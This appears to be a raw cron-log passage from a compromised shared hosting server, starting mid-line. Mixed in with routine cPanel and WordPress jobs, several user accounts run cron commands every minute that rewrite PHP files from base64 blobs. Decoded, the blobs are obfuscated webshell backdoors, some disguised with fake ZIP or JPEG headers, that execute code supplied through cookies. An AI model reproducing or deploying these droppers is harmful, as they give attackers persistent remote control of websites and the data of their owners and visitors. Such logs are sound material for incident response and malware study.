keVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:06:02 medusa CROND[30341]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:07:01 medusa CROND[21552]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:07:01 medusa CROND[21553]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:07:01 medusa CROND[21554]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:07:01 medusa CROND[21555]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:07:01 medusa CROND[21557]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:07:01 medusa CROND[21558]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:07:01 medusa CROND[21559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:07:01 medusa CROND[21561]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:07:01 medusa CROND[21562]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:07:01 medusa CROND[21569]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:07:01 medusa CROND[21566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:07:01 medusa CROND[21572]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:08:01 medusa CROND[12230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:08:01 medusa CROND[12324]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Apr 19 04:08:01 medusa CROND[12325]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:08:01 medusa CROND[12326]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:08:01 medusa CROND[12334]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:08:01 medusa CROND[12335]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:08:01 medusa CROND[12337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:08:01 medusa CROND[12339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:08:01 medusa CROND[12340]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:08:01 medusa CROND[12341]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:08:01 medusa CROND[12338]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:08:01 medusa CROND[12336]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:08:01 medusa CROND[12344]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:08:01 medusa CROND[12346]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:09:01 medusa CROND[3797]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 04:09:01 medusa CROND[3893]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:09:01 medusa CROND[3892]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:09:01 medusa CROND[3896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:09:01 medusa CROND[3899]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:09:01 medusa CROND[3901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
